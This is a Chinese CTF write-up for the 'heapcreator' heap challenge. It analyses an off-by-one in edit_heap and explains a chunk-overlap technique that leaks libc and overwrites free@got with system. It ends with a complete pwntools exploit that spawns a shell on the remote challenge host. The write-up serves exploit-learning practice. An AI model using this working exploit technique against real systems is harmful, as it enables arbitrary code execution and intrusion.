分析

遇到的第一个off by one问题吧(之前有在ctf-wiki上看到过off by one的利用手法,所以就忍不住想实践一下)

1647257578213.png

菜单没什么特别的,设置了无缓冲

1647257621545.png

create_heap函数也很常规,每个内容都用了一个结构体来管理,size用来控制可写进去的长度,然后一个指针代表内容chunk的位置。(程序只开了Partial RELRO,所以got表是可以去改的)很容易联想到,要想办法来修改掉这个指针。

1647257871306.png

edit_heap函数可以发现,在读内容的时候,他读了(*(_QWORD *)heaparray[v1]+1LL)位,加了1,所以存在off by one,可以改掉后面chunk的size的最低位。

1647257988518.png

show_heap函数没什么好说的,用的是%s来打印chunk(一开始想用unlink来做,就是被这个输出方式给卡了hhh,不过现在的方法是比unlink简单许多的)

1647258086373.png

delete_heap函数也没什么好说的,清空了heaparray[v1],没有uaf。

分析完程序过后,思路基本上就已经出来了。

1.申请三个0x21的chunk,chunk 0去off by one改掉结构体 1那个chunk的size(我改成的是0x61),让他能盖到chunk 1的内容那个chunk

1647258823084.png

2.free掉chunk 1,这样fastbin就会有一个0x60和一个0x20的chunk

1647258845519.png

3.申请一个0x61的chunk,这样一来,它的结构体就会拿到那个被0x61的内容chunk覆盖的0x21的chunk

4.把free@got写进去,用show_heap() leak libc基址

5.把system函数写进free@got

(当时我用的ubuntu16.04本地的libc-2.23.so来做,本地都通了,换远程就炸了,后面就换了LibcSearcher来找基址和system的偏移,然后就过了)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
elf = ELF('./heapcreator')
# p = process('./heapcreator')
# libc = ELF('./libc-2.23.so')
p = remote('node4.buuoj.cn', 25818)

def choice(idx):
p.recvuntil('choice :')
p.sendline(str(idx))

def create(sz, content):
choice(1)
p.recvuntil('Heap : ')
p.sendline(str(sz))
p.recvuntil('of heap:')
p.sendline(content)

def edit(idx, content):
choice(2)
p.recvuntil('dex :')
p.sendline(str(idx))
p.recvuntil('heap : ')
p.sendline(content)

def show(idx):
choice(3)
p.recvuntil('dex :')
p.sendline(str(idx))

def delete(idx):
choice(4)
p.recvuntil('dex :')
p.sendline(str(idx))

create(0x18, b'AAA')
create(0x18, b'BBB')
create(0x18, b'/bin/sh\x00')
pay = b'a'*0x19
edit(0, pay)
delete(1)
# create(0x58, b'DDD')

free_got = elf.got['free']
# sys = libc.symbols['system']
pay = p64(0)*3 + p64(21) + p64(0x1000) + p64(free_got)
create(0x58, pay)
show(1)

p.recvuntil('tent : ')
free_addr = u64(p.recvline()[:-1] + b'\x00\x00')
# print(hex(free_addr))
libc = LibcSearcher('free', free_addr)
base = free_addr - libc.dump('free')
sys = base + libc.dump('system')
# base = free_addr - 0x84540
# print(hex(base))

pay = p64(sys)
edit(1, pay)
delete(2)

# gdb.attach(p)

p.interactive()